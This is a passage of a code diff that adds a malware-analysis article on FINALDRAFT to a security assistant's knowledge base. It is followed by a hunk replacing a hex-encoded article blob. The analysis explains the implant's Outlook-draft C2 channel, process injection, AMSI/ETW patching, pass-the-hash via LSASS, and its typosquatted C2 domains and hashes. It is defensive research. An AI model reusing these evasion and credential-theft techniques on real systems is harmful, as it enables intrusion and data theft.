sample, it is called `UpdateTask`. + +![PE export of FINALDRAFT](/assets/images/finaldraft/image51.png) + +### Initialization + +The malware is initialized by loading its configuration and generating a session ID. + +#### Configuration loading process + +The configuration is hardcoded in the binary in an encrypted blob. It is decrypted using the following algorithm. + +```c +for ( i = 0; i < 0x149A; ++i ) + configuration[i] ^= decryption_key[i & 7]; +``` + +*Decryption algorithm for configuration data* + +The decryption key is derived either from the Windows product ID (`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId`) or from a string located after the encrypted blob. This is determined by a global flag located after the encrypted configuration blob. + +![Decryption key and flag found after the encrypted config blob](/assets/images/finaldraft/image8.png) + +![Choice between the decryption key or Windows product ID for derivation](/assets/images/finaldraft/image41.png) + +The decryption key derivation algorithm is performed as follows: + +```c +uint64_t decryption_key = 0; +do + decryption_key = *data_source++ + 31 * decryption_key; +while ( data_source != &data_source[data_source_length] ); +``` + +*Decryption key derivation algorithm* + +The configuration structure is described as follows: + +```c +struct Configuration // sizeof=0x149a +{ + char c2_hosts_or_refresh_token[5000]; + char pastebin_url[200]; + char guid[36]; + uint8_t unknown_0[4]; + uint16_t build_id; + uint32_t sleep_value; + uint8_t communication_method; + uint8_t aes_encryption_key[16]; + bool get_external_ip_address; + uint8_t unknown_1[10] +}; +``` + +*Configuration structure* + +The configuration is consistent across variants and versions, although not all fields are utilized. For example, the communication method field wasn't used in the main variant at the time of this publication, and only the MSGraph/Outlook method was used. However, this is not the case in the ELF variant or prior versions of FINALDRAFT. + +The configuration also contains a Pastebin URL, which isn’t used across any of the variants. However, this URL was quite useful to us for pivoting from the initial sample. + +#### Session ID derivation process + +The session ID used for communication between FINALDRAFT and C2 is generated by creating a random GUID, which is then processed using the [Fowler-Noll-Vo](https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function) (FNV) hash function. + +![FINALDRAFT client ID generation](/assets/images/finaldraft/image43.png) + +### Communication protocol + +During our analysis, we discovered that different communication methods are available from the configuration; however, the most contemporary sample at this time uses only the `COutlookTrans` class, which abuses the Outlook mail service via the Microsoft Graph API. This same technique was observed in [SIESTAGRAPH](https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns), a previously unknown malware family reported by Elastic Security Labs in February 2023 and attributed to a PRC-affiliated threat group. + +The Microsoft Graph API token is obtained by FINALDRAFT using the [https://login.microsoftonline.com/common/oauth2/token](https://login.microsoftonline.com/common/oauth2/token) endpoint. The refresh token used for this endpoint is located in the configuration. + +![Building refresh token request](/assets/images/finaldraft/image36.png) + +![Token refresh POST request](/assets/images/finaldraft/image40.png) + +Once refreshed, the Microsoft Graph API token is stored in the following registry paths based on whether the user has administrator privileges: + +- `HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\` +- `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\` + +This token is reused across requests, if it is still valid. + +![Storing refresh token in the registry](/assets/images/finaldraft/image3.png) + +The communication loop is described as follows: + +- Create a session email draft if it doesn’t already exist. +- Read and delete command request email drafts created by the C2. +- Process commands +- Write command response emails as drafts for each processed command. + +A check is performed to determine whether a session email, in the form of a command response email identified by the subject `p_`, already exists. If it does not, one is created in the mail drafts. The content of this email is base64 encoded but not AES encrypted. + +![Check for session email and create one if it doesn't exist](/assets/images/finaldraft/image19.png) + +![Session email: GET and POST requests](/assets/images/finaldraft/image46.png) + +The session data is described in the structure below. + +```c +struct Session +{ + char random_bytes[30]; + uint32_t total_size; + char field_22; + uint64_t session_id; + uint64_t build_number; + char field_33; +}; +``` + +*Session data structure* + +The command queue is filled by checking the last five C2 command request emails in the mail drafts, which have subjects `r_`. + +![Checking for commands email](/assets/images/finaldraft/image39.png) + +![Command polling GET request](/assets/images/finaldraft/image49.png) + +After reading the request, emails are then deleted. + +![Deleting command email after reading](/assets/images/finaldraft/image15.png) + +Commands are then processed, and responses are written into new draft emails, each with the same `p_` subject for each command response. + +![Command response POST request](/assets/images/finaldraft/image13.png) + +Content for message requests and responses are **Zlib** compressed, **AES CBC** encrypted, and Base64 encoded. The AES key used for encryption and decryption is located in the configuration blob. + +```Base64(AESEncrypt(ZlibCompress(data)))``` + +Request messages sent from the C2 to the implant follow this structure. + +```c +struct C2Message{ + struct { + uint8_t random_bytes[0x1E]; + uint32_t message_size; + uint64_t session_id; + } header; // Size: 0x2A (42 bytes) + + struct { + uint32_t command_size; + uint32_t next_command_struct_offset; + uint8_t command_id; + uint8_t unknown[8]; + uint8_t command_args[]; + } commands[]; +}; +``` + +*Request message structure* + +Response messages sent from the implant to C2 follow this structure. + +```c +struct ImplantMessage { + struct Header { + uint8_t random_bytes[0x1E]; + uint32_t total_size; + uint8_t flag; // Set to 1 + uint64_t session_id; + uint16_t build_id; + uint8_t pad[6]; + } header; + + struct Message { + uint32_t actual_data_size_add_0xf; + uint8_t command_id; + uint8_t unknown[8]; + uint8_t flag_success; + char newline[0x2]; + uint8_t actual_data[]; + } +}; +``` + +*Response message structure* + +Here is an example of data stolen by the implant. + +![Response message example](/assets/images/finaldraft/image52.png) + +### Commands + +FinalDraft registers 37 command handlers, with most capabilities revolving around process injection, file manipulation, and network proxy capabilities. + +![FINALDRAFT command handler setup](/assets/images/finaldraft/image23.png) + +Below is a table of the commands and their IDs: + +| ID | Name | +| :--- | :------------------------------------------- | +| 0 | GatherComputerInformation | +| 2 | StartTcpServerProxyToC2 | +| 3 | StopTcpServerProxyToC2 | +| 4 | ConnectToTcpTargetStartProxyToC2 | +| 5 | SetSleepValue | +| 6 | DeleteNetworkProjectorFwRuleAndStopTCPServer | +| 8 | ConnectToTcpTarget | +| 9 | SendDataToUdpOrTcpTarget | +| 10 | CloseTcpConnection | +| 11 | DoProcessInjectionSendOutputEx | +| 12 | ListFiles | +| 13 | ListAvailableDrives | +| 14 | CreateDirectory | +| 15 | DeleteFileOrDirectory | +| 16 | DownloadFile | +| 17 | UploadFile0 | +| 18 | DummyFunction | +| 19 | SetCurrentDirectory | +| 20 | GetCurrentDirectory | +| 21 | ListRunningProcesses | +| 24 | DoProcessInjectionNoOutput | +| 25 | DoProcessInjectionNoOutput (Same as 24\) | +| 26 | DoProcessInjectionSendOutput1 | +| 28 | DisconnectFromNamedPipe | +| 30 | ConnectToNamedPipeAndProxyMessageToC2 | +| 31 | GetCurrentProcessTokenInformation | +| 32 | EnumerateActiveSessions | +| 33 | ListActiveTcpUdpConnections | +| 35 | MoveFile1 | +| 36 | GetOrSetFileTime | +| 39 | UploadFile1 | +| 41 | MoveFile0 | +| 42 | CopyFileOrCopyDirectory | +| 43 | TerminateProcess | +| 44 | CreateProcess | + +*FINALDRAFT command handler table* + +### Gather computer information + +Upon execution of the `GatherComputerInformation` command, information about the victim machine is collected and sent by FINALDRAFT. This information includes the computer name, the account username, internal and external IP addresses, and details about running processes. + +This structure is described as follows: + +```c +struct ComputerInformation +{ + char field_0; + uint64_t session_id; + char field_9[9]; + char username[50]; + char computer_name[50]; + char field_76[16]; + char external_ip_address[20]; + char internal_ip_address[20]; + uint32_t sleep_value; + char field_B2; + uint32_t os_major_version; + uint32_t os_minor_version; + bool product_type; + uint32_t os_build_number; + uint16_t os_service_pack_major; + char field_C2[85]; + char field_117; + char current_module_name[50]; + uint32_t current_process_id; +}; +``` + +*Collected information structure* + +The external IP address is collected when enabled in the configuration. + +![Retrieve external IP if flag is set](/assets/images/finaldraft/image37.png) + +This address is obtained by FINALDRAFT using the following list of public services. + +| Public service | +| :----------------------------- | +| `hxxps://ip-api.io/json` | +| `hxxps://ipinfo.io/json` | +| `hxxps://myexternalip.com/raw` | +| `hxxps://ipapi.co/json/` | +| `hxxps://jsonip.com/` | + +*IP lookup service list* + +### Process injection + +FINALDRAFT has multiple process injection-related commands that can inject into either running processes or create a hidden process to inject into. + +In cases where a process is created, the target process is either an executable path provided as a parameter to the command or defaults to `mspaint.exe` or `conhost.exe` as a fallback. + +![mspaint.exe process injection target](/assets/images/finaldraft/image50.png) + +![conhost.exe process injection target](/assets/images/finaldraft/image33.png) + +Depending on the command and its parameters, the process can be optionally created with its standard output handle piped. In this case, once the process is injected, FINALDRAFT reads from the pipe's output and sends its content along with the command response. + +![Create hidden process with piped STD handles](/assets/images/finaldraft/image44.png) + +![Read process' piped stdout](/assets/images/finaldraft/image24.png) + +Another option exists where, instead of piping the standard handle of the process, FINALDRAFT, after creating and injecting the process, waits for the payload to create a Windows named pipe. It then connects to the pipe, writes some information to it, reads its output, and sends the data to the C2 through a separate channel. (In the case of the Outlook transport channel, this involves creating an additional draft email.). + +![Wait for injected process to create its named pipe](/assets/images/finaldraft/image58.png) + +![Read from named pipe and send to C2](/assets/images/finaldraft/image29.png) + +The process injection procedure is basic and based on `VirtualAllocEx`, `WriteProcessMemory`, and `RtlCreateUserThread` API. + +![Process injection method](/assets/images/finaldraft/image48.png) + +### Forwarding data from TCP, UDP, and named pipes + +FINALDRAFT offers various methods of proxying data to C2, including UDP and TCP listeners, and a named pipe client. + +Proxying UDP and TCP data involves handling incoming communication differently based on the protocol. For UDP, messages are received directly from the sender, while for TCP, client connections are accepted before receiving data. In both cases, the data is read from the socket and forwarded to the transport channel. + +Below is an example screenshot of the `recvfrom` call from the UDP listener. + +![Received data from UDP client](/assets/images/finaldraft/image16.png) + +Before starting the TCP listener server, FINALDRAFT adds a rule to the Windows Firewall. This rule is removed when the server shuts down. To add/remove these rules the malware uses **COM** and the [INetFwPolicy2](https://learn.microsoft.com/en-us/windows/win32/api/netfw/nn-netfw-inetfwpolicy2) and the [INetFwRule](https://learn.microsoft.com/en-us/windows/win32/api/netfw/nn-netfw-inetfwrule) interfaces. + +![FINALDRAFT adds firewall rule to allow TCP server](/assets/images/finaldraft/image34.png) + +![Instantiating the NetFwPolicy2 COM interface](/assets/images/finaldraft/image30.png) + +FINALDRAFT can also establish a TCP connection to a target. In this case, it sends a magic value, `“\x12\x34\xab\xcd\ff\xff\xcd\xab\x34\x12”` and expects the server to echo the same magic value back before beginning to forward the received data. + +![Send and receive magic data to/from TCP target](/assets/images/finaldraft/image27.png) + +![Magic data blob](/assets/images/finaldraft/image18.png) + +For the named pipe, FINALDRAFT only connects to an existing pipe. The pipe name must be provided as a parameter to the command, after which it reads the data and forwards it through a separate channel. + +![Forward data from named pipe](/assets/images/finaldraft/image31.png) + +### File manipulation + +For the file deletion functionality, FINALDRAFT prevents file recovery by overwriting file data with zeros before deleting them. + +![Zero out file before deletion](/assets/images/finaldraft/image54.png) + +FINALDRAFT defaults to `CopyFileW` for file copying. However, if it fails, it will attempt to copy the file at the NTFS cluster level. + +It first opens the source file as a drive handle. To retrieve the cluster size of the volume where the file resides, it uses `GetDiskFreeSpaceW` to retrieve information about the number of sectors per cluster and bytes per sector. `DeviceIoControl` is then called with `FSCTL_GET_RETRIEVAL_POINTERS` to retrieve details of extents: locations on disk storing the data of the specified file and how much data is stored there in terms of cluster size. + +![Retrieving file data extents](/assets/images/finaldraft/image14.png) + +For each extent, it uses `SetFilePointer` to move the source file pointer to the corresponding offset in the volume; reading and writing one cluster of data at a time from the source file to the destination file. + +![Read/write file between clusters](/assets/images/finaldraft/image57.png) + +If the file does not have associated cluster mappings, it is a resident file, and data is stored in the MFT itself. It uses the file's MFT index to get its raw MFT record. The record is then parsed to locate the `$DATA` attribute (type identifier \= 128). Data is then extracted from this attribute and written to the destination file using `WriteFile`. + +![Copy resident files using MFT records](/assets/images/finaldraft/image17.png) + +### Injected Modules + +Our team observed several additional modules loaded through the `DoProcessInjectionSendOutputEx` command handler performing process injection and writing the output back through a named pipe. This shellcode injected by FINALDRAFT leverages the well-known [sRDI](https://github.com/monoxgas/sRDI/blob/master/ShellcodeRDI/ShellcodeRDI.c) project, enabling the loading of a fully-fledged PE DLL into memory within the same process, resolving its imports and calling its export entrypoint. + +#### Network enumeration (`ipconfig.x64.dll`) + +This module creates a named pipe (`\\.\Pipe\E340C955-15B6-4ec9-9522-1F526E6FBBF1`) waiting for FINALDRAFT to connect to it. Perhaps to prevent analysis/sandboxing, the threat actor used a password (`Aslire597`) as an argument, if the password is incorrect, the module will not run. + +![String comparison with command-line password](/assets/images/finaldraft/image12.png) + +As its name suggests, this module is a custom implementation of the ipconfig command retrieving networking information using Windows API’s (`GetAdaptersAddresses`, `GetAdaptersInfo`, `GetNetworkParams`) and reading the Windows registry keypath (`SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces`). After the data is retrieved, it is sent back to FINALDRAFT through the named pipe. + +![Retrieving network adapter information](/assets/images/finaldraft/image38.png) + +#### PowerShell execution (`Psloader.x64.dll`) + +This module allows the operator to execute PowerShell commands without invoking the `powershell.exe` binary. The code used is taken from [PowerPick](https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerPick/SharpPick/Program.cs), a well-known open source offensive security tool. + +To evade detection, the module first hooks the `EtwEventWrite`, `ReportEventW`, and `AmsiScanBuffer` APIs, forcing them to always return `0`, which disables ETW logging and bypasses anti-malware scans. + +![Patching AMSI and ETW APis](/assets/images/finaldraft/image20.png) + +Next, the DLL loads a .NET payload ([PowerPick](https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerPick/SharpPick/Program.cs)) stored in its `.data` section using the [CLR Hosting technique](https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clr-hosting-interfaces). + +![Managed code of PowerPick loaded using CLR hosting technique](/assets/images/finaldraft/image25.png) + +The module creates a named pipe (`\\.\Pipe\BD5AE956-0CF5-44b5-8061-208F5D0DBBB2`) which is used for command forwarding and output retrieval. The main thread is designated as the receiver, while a secondary thread is created to write data to the pipe. Finally, the managed **PowerPick** binary is loaded and executed by the module. + +![Managed binary of PowerPick loaded by the module](/assets/images/finaldraft/image26.png) + +#### Pass-the-Hash toolkit (`pnt.x64.dll`) + +This module is a custom Pass-the-Hash (PTH) toolkit used to start new processes with stolen NTLM hashes. This PTH implementation is largely inspired by the one used by [Mimikatz](https://github.com/gentilkiwi/mimikatz), enabling lateral movement. + +![Decrypted strings from memory for PTH module](/assets/images/finaldraft/image45.png) + +A password (`Aslire597`), domain, and username with the NTLM hash, along with the file path of the program to be elevated, are required by this module. In our sample, this command line is loaded by the sRDI shellcode. Below is an example of the command line. + +`program.exe \: ` + +Like the other module, it creates a named pipe, ”`\\.\Pipe\EAA0BF8D-CA6C-45eb-9751-6269C70813C9`”, and awaits incoming connections from FINALDRAFT. This named pipe serves as a logging channel. + +![named pipe creation for pnt.x64.dll](/assets/images/finaldraft/image21.png) + +After establishing the pipe connection, the malware creates a target process in a suspended state using `CreateProcessWithLogonW`, identifies key structures like the `LogonSessionList` and `LogonSessionListCount` within the Local Security Authority Subsystem Service (LSASS) process, targeting the logon session specified by the provided argument. + +Once the correct session is matched, the current credential structure inside LSASS is overwritten with the supplied NTLM hash instead of the current user's NTLM hash, and finally, the process thread is resumed. This technique is well explained in the blog post "[Inside the Mimikatz Pass-the-Hash Command (Part 2\)](https://www.praetorian.com/blog/inside-mimikatz-part2/)" by Praetorian. The result is then sent to the named pipe. + +![Named pipe output and created process](/assets/images/finaldraft/image22.png) + +## FINALDRAFT ELF variant + +During this investigation, we discovered an ELF variant of FINALDRAFT. This version supports more transport protocols than the PE version, but has fewer features, suggesting it might be under development. + +### Additional transport channels + +The ELF variant of FINALDRAFT supports seven additional protocols for C2 transport channels: + +| C2 communication protocols | +| :-------------------------------------------------------------- | +| HTTP/HTTPS | +| Reverse UDP | +| ICMP | +| Bind TCP | +| Reverse TCP | +| DNS | +| Outlook via REST API (could be communicating with an API proxy) | +| Outlook via Graph API | + +*FINALDRAFT ELF variant C2 communication options* + +From the ELF samples discovered, we have identified implants configured to use the HTTP and Outlook via Graph API channels. + +While the code structure is similar to the most contemporary PE sample, at the time of this publication, some parts of the implant's functionality were modified to conform to the Linux environment. For example, new Microsoft OAuth refresh tokens requested are written to a file on disk, either `/var/log/installlog.log.` or `/mnt/hgfsdisk.log.` if it fails to write to the prior file. + +Below is a snippet of the configuration which uses the HTTP channel. We can see two C2 servers are used in place of a Microsoft refresh token, the port number `0x1bb` (`443`) at offset `0xc8`, and flag for using HTTPS at offset `0xfc`. + +![FINALDRAFT ELF variant configuration snippet](/assets/images/finaldraft/image2.png) + +The domains are intentionally designed to typosquat well-known vendors, such as "VMSphere" (VMware vSphere). However, it's unclear which vendor "Hobiter" is attempting to impersonate in this instance. + +| C2 | +| :------------------ | +| support.vmphere.com | +| update.hobiter.com | + +*Domain list* + +### Commands + +![Command handlers](/assets/images/finaldraft/image32.png) + +All of the commands overlap with its Windows counterpart, but offer fewer options. There are two C2 commands dedicated to collecting information about the victim's machine. Together, these commands gather the following details: + +* Hostname +* Current logged-in user +* Intranet IP address +* External IP address +* Gateway IP address +* System boot time +* Operating system name and version +* Kernel version +* System architecture +* Machine GUID +* List of active network connections +* List of running processes +* Name of current process + +#### Command Execution + +While there are no process injection capabilities, the implant can execute shell commands directly. It utilizes `popen` for command execution, capturing both standard output and errors, and sending the results back to the C2 infrastructure. + +![Executing shell command](/assets/images/finaldraft/image28.png) + +#### Self Deletion + +To dynamically resolve the path of the currently running executable, its symlink pointing to the executable image is passed to `sys_readlink`. `sys_unlink` is then called to remove the executable file from the filesystem. + +![Self deletion using sys\_unlink](/assets/images/finaldraft/image11.png) + +## Older FINALDRAFT PE sample + +During our investigation, we identified an older version of FINALDRAFT. This version supports half as many commands but includes an additional transport protocol alongside the MS Graph API/Outlook transport channel. + +The name of the binary is `Session.x64.dll`, and its entrypoint export is called `GoogleProxy`: + +![PE export of FINALDRAFT](/assets/images/finaldraft/image5.png) + +### HTTP transport channel + +This older version of FINALDRAFT selects between the Outlook or HTTP transport channel based on the configuration. + +![Choice between Outlook and HTTP transport channels](/assets/images/finaldraft/image59.png) + +In this sample, the configuration contains a list of hosts instead of the refresh token found in the main sample. These same domains were used by PATHLOADER, the domain (`checkponit[.]com`) was registered on 2022-08-26T09:43:16Z and domain (`fortineat[.]com`) was registred on 2023-11-08T09:47:47Z. + +![Domains found in the configuration](/assets/images/finaldraft/image6.png) + +The domains purposely typosquat real known vendors, **CheckPoint** and **Fortinet**, in this case. + +| C2 | +| :------------------------ | +| `poster.checkponit[.]com` | +| `support.fortineat[.]com` | + +*Domain list* + +### Shell command + +An additional command exists in this sample that is not present in later versions. This command, with ID `1`, executes a shell command. + +![Shell command handler setup](/assets/images/finaldraft/image9.png) + +The execution is carried out by creating a `cmd.exe` process with the `"/c"` parameter, followed by appending the actual command to the parameter. + +![Create piped cmd.exe process](/assets/images/finaldraft/image60.png) + +# Detection + +Elastic Defend detects the process injection mechanism through two rules. The first rule detects the `WriteProcessMemory` API call targeting another process, which is a common behavior observed in process injection techniques. + +![Detecting WriteProcessMemory in FINALDRAFT process injection](/assets/images/finaldraft/image42.png) + +The second rule detects the creation of a remote thread to execute the shellcode. + +![Detection of injected shellcode thread](/assets/images/finaldraft/image35.png) + +We also detect the loading of the PowerShell engine by the `Psloader.x64.dll` module, which is injected into the known target `mspaint.exe`. + +![Detection of PowerShell engine loads](/assets/images/finaldraft/image4.png) + +# Malware and MITRE ATT\&CK + +Elastic uses the [MITRE ATT\&CK](https://attack.mitre.org/) framework to document common tactics, techniques, and procedures that threats use against enterprise networks. + +## Tactics + +* [Command and Control](https://attack.mitre.org/tactics/TA0011/) +* [Defense Evasion](https://attack.mitre.org/tactics/TA0005/) +* [Discovery](https://attack.mitre.org/tactics/TA0007/) +* [Execution](https://attack.mitre.org/tactics/TA0002/) +* [Exfiltration](https://attack.mitre.org/tactics/TA0010/) +* [Lateral Movement](https://attack.mitre.org/tactics/TA0008/) + +## Techniques + +Techniques represent how an adversary achieves a tactical goal by performing an action. + +- [Web Service: One-Way Communication](https://attack.mitre.org/techniques/T1102/003/) +- [Encrypted Channel: Symmetric Cryptography](https://attack.mitre.org/techniques/T1573/001/) +- [Hide Artifacts: Hidden Window](https://attack.mitre.org/techniques/T1564/003/) +- [Masquerading: Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/) +- [Masquerading: Rename System Utilities](https://attack.mitre.org/techniques/T1036/003/) +- [Process Injection: Portable Executable Injection](https://attack.mitre.org/techniques/T1055/002/) +- [Reflective Code Loading](https://attack.mitre.org/techniques/T1620/) +- [Use Alternate Authentication Material: Pass the Hash](https://attack.mitre.org/techniques/T1550/002/) +- [Network Service Discovery](https://attack.mitre.org/techniques/T1046/) +- [Process Discovery](https://attack.mitre.org/techniques/T1057/) +- [Query Registry](https://attack.mitre.org/techniques/T1012/) +- [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567/) + +# Mitigations + +## Detection + +- [Suspicious Memory Write to a Remote Process](https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_suspicious_memory_write_to_a_remote_process.toml) +- [Unusual PowerShell Engine ImageLoad](https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/execution_unusual_powershell_engine_imageload.toml) +- [AMSI Bypass via Unbacked Memory](https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_amsi_bypass_via_unbacked_memory.toml) +- [AMSI or WLDP Bypass via Memory Patching](https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_amsi_or_wldp_bypass_via_memory_patching.toml) +- [Suspicious Execution via Windows Service](https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/privilege_escalation_suspicious_execution_via_windows_services.toml) +- [Execution via Windows Command Line Debugging Utility](https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_execution_via_windows_command_line_debugging_utility.toml) +- [Suspicious Parent-Child Relationship](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_parent_child_relationship.toml) + +## YARA + +Elastic Security has created the following YARA rules related to this post: + +- [Windows.Trojan.PathLoader](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_PathLoader.yar) +- [Windows.Trojan.FinalDraft](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_FinalDraft.yar) +- [Linux.Trojan.FinalDraft](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Trojan_FinalDraft.yar) +- [Multi.Trojan.FinalDraft](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Trojan_FinalDraft.yar) + +# Observations + +The following observables were discussed in this research: + +| Observable | Type | Reference | Date | +| :----------------------------------------------------------------- | :----- | :--------------------------- | :----------------------------------------------------------------------- | +| `9a11d6fcf76583f7f70ff55297fb550fed774b61f35ee2edd95cf6f959853bcf` | SHA256 | PATHLOADER | VT first seen: 2023-05-09 09:44:45 UTC | +| `39e85de1b1121dc38a33eca97c41dbd9210124162c6d669d28480c833e059530` | SHA256 | FINALDRAFT initial sample | Telemetry first seen: 2024-11-28 20:49:18.646 | +| `83406905710e52f6af35b4b3c27549a12c28a628c492429d3a411fdb2d28cc8c` | SHA256 | FINALDRAFT ELF variant | VT first seen: 2024-10-05 07:15:00 UTC | +| `poster.checkponit[.]com` | domain | PATHLOADER/FINALDRAFT domain | Creation date: 2022-08-26T09:43:16Z Valid until: 2025-08-26T07:00:00Z | +| `support.fortineat[.]com` | domain | PATHLOADER/FINALDRAFT domain | Creation date: 2023-11-08T09:47:47Z Valid until: 2024-11-08T09:47:47.00Z | +| `support.vmphere[.]com` | domain | FINALDRAFT domain | Creation date: 2023-09-12T12:35:57Z Valid until: 2025-09-12T12:35:57Z | +| `update.hobiter[.]com` | domain | FINALDRAFT domain | Creation date: 2023-09-12T12:35:58Z Valid until: 2025-09-12T12:35:58Z | diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/forget_vulnerable_drivers_admin_is_all_you_need.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/forget_vulnerable_drivers_admin_is_all_you_need.encoded.md index 5bab3cf4f37ea..a50e450865f5b 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/forget_vulnerable_drivers_admin_is_all_you_need.encoded.md +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/forget_vulnerable_drivers_admin_is_all_you_need.encoded.md @@ -1 +1 @@ -0a5543a24710ab0bb37356d3a2f2ceeaf6c7389a3fec248ce6b5998f8dd0a670a29a501b69197f445ec6f026bc099566a02d262c9f65900423396e0e00fc1c89fcfeaa485e00b4f1bb2d85b75c0e5583f9b9178152f011540bd0d1744cd21a5d86b1361e6f960899d2972636aae0fb6b3c33f6ec703df1e23e69d0aa40d147c7dd6d292f1ebc198744bb975280fc8b2776d04893f65c3137cea612a2d97511583bae8bad41f96a0473a34d2db38cb9e3f80011cf95126308117864fa3d10f447a42c4aae25db84ff03ffb28bee512697940d619a53b39da5732ad8cdb04ebd60045c8abff55cf98889a2ab17e09c534721d3783d9704f627dbbd0b3ba200a6125d1cf3858bf5409742019028acf723e0fdc9b3c25aeacd553a6f4089a0535a8767dffc218ed7bae608e1ccdd68728d5ccef53d699603cfeca84bd60c187c1150bb0efa787487d88710ff771c1961eb171d70a2cd58c5b086bc2e733d5f0e587f55e23dbbffcf0d2c8f7f604c3a0f509f006943313a88cd2e7f4235d27fde737bc8e43ccde6c5063babd38b71332ee7e22f00421ba2c761b5c41fa0d39c8fa4d36912e9cecfb1ada89f0308af0bc93a7aebaa072812b4a9cbe22ea946e2102c0fddb554f51de48431a2d1a378d1123db6b629f4a47b019e0d861324abe72dac8cc861282ff84085f37d26ccba45efba249c7396577fdcdf7a91a1f80e56bd81bb4151d22dbe8fa77ecd55aa8652a6283ebc3217ec08a271286e6137b7c21b073f7994884c6452d566ca3812dc15dd5a63bd7cfcc1fa40a0de0d807267f720bd0ebd7642084f3d1fe8ea77b08d4143ac881e72abc8d87be031f6bf7f499339e9c767e5226b3f09fd240620f9b0c225ecc70f9a79f966380352f0497d0fa41088153efd20b7a73390ddbd76f811c84da932eb23b716c80260a60b7a24b7578ba4ad5bc25a8f2d0a09cba56356f698b44658f55c6bf9b05af6d85abbf061439d22904782477da4890b641220d6650c9bc737c0f0b25119c8cea373ffbcf4b9c2b0c2d897624ed1d8541980df66cc1ebd4e29f695e2936c485616a88409bc63c906f351bae5bab48c36a4da656dd06233cf11d917a57126244156f9f773c31c1dbb0514bf49692b514c0759949090346049fe2e01f8a244158f4c3f1f36c71994cfdac2d98017e20314254a2bc05c1a3e83baa412a509bc4abd66aa671f9df258de9ed85e3c1c50103b4dec7dac134e239db3d24a6a911d692f6b9e814b441e5289d02323ad06a526679695f8ceeb1154c256e7b50fcbd3d47dd7587a8c3fafb1ee52928b82de4cf182e77c403a4f3234822b7760b24a31c3379c5927d7d4fb587c4b323c4fb058d33418da2c70a6cfc8571fd5f88c3058ce63c4be722c106500ba741af3fd95a65bfe4abb6c29e6ed40ae95d4217a471fbf897a1bd53d6edd9c3359e15083c9f88a30edfc15c327a94c1c1a62b475b0f2a6eca1aa0f6854a8ba6146d9b750d374499b031405e38b2192ca65b4a6574ac8870b1306c406ccfbb4f4b71b789fcf88f0dc71709d72a9a1ebdc3c0b03fe25d8f7c2cccd4f059eb9aee3220e0c74fada39e0acadf51ddd254e0d6ed5795352c65b452a225356503d9a61a4af30f9257c2f3c5b55c2ef5a2b9bf2c7692f3b8bbf439e549ad81eac60872e2901c1df2cde3ae4e1bd7b0b28180b9c17a75f4f300256c8dcb3d261f339b185c29b14b1f1edd030be816cf1bfe1db792e0ac06d7972a52d77ce0f914115143ad2e047b8c23276b043d6cbf8de0168d6f919121d87007a4698735779fd54dc68bc7514fad9a3357f35d5da1baa5247e82c2fab7a9057a1baf56a707815750fc1048088bf891adbb6908619f2d2cb287be94a6aa4faada320ffd1b137d8bfa501b9a64160343fde8574cbee659a30392edc82db887e589d63f672e8869c0be69e941144dfb7b750bd791a54548dd8e02dc67c48a6634fba9e4e09040b87619258fdcb0896a9c4639f7d44e56bf66e80e2f2b912c399da354c63b6db6320af1e3dded1e0f73d24aeae322bb96d12dba12c69fb2008ba2ec96512a2561f8c5b00190c6bebe0d3c85a7107af797ccc3084e0e0dadabd4beb5dfff82f1c4e72bbbe26d15c90ceba9b0393172072cd0a8e47cfe3f31b0fde9dbbad88e1a0ce700677c9488797bcc0910dd3bcc4e55fcab3ec6ba75cad59b0f56da2770f3d39c7b54242712406442d56ea9fd6ce51b82b92e5912ffb65932ea28d99737c2546855841524c49c53b8d90fd14a5a1b3d537799dc7eb72ed0a2ec1489562afc4e40ae017b5bb09f34bb8217d4b2c9ac9b4e102d78563e3d0e6f67e6394567748ab236f47b6b9bf50b6a91fde81afe51919c1281f3c2c9278b1e0876c29ca2287ecbe2294b1bb69f1bb01cb92159fd4c59e7fea2997e06abc39ceb43256a17ea5573262e14c8f1e052f4df0d298d536eaa1ad72adf6d9aa25bf2946571e6273a76b066e41ddb11db41d11e0ffb1be0dde1090fd1f4fe947cac8e2bb19078a78d077abd0716948f96ca84bca2106843d5129b0d200c254d9b93ea904b7a405104dcb793cb32ac487216eee18b33e72f2882982e061c9a5434b706e80f0c479d3fdadb833daca62ed1ad24752b53ec0e69d627eaabfe4963629988b3ea50e06aa012560d536a4985d466ee4f9b7c78a9e0643b7765734ecc93b42a99e234ab58fd45bfe988a905196105f139447481bd142334e94688e3abea72bf17284de2a2794656f4b0977425e70e102288d522908ef07a95f55e84bf85a40a119641842cb507064d2e99c94fb30bea01d3471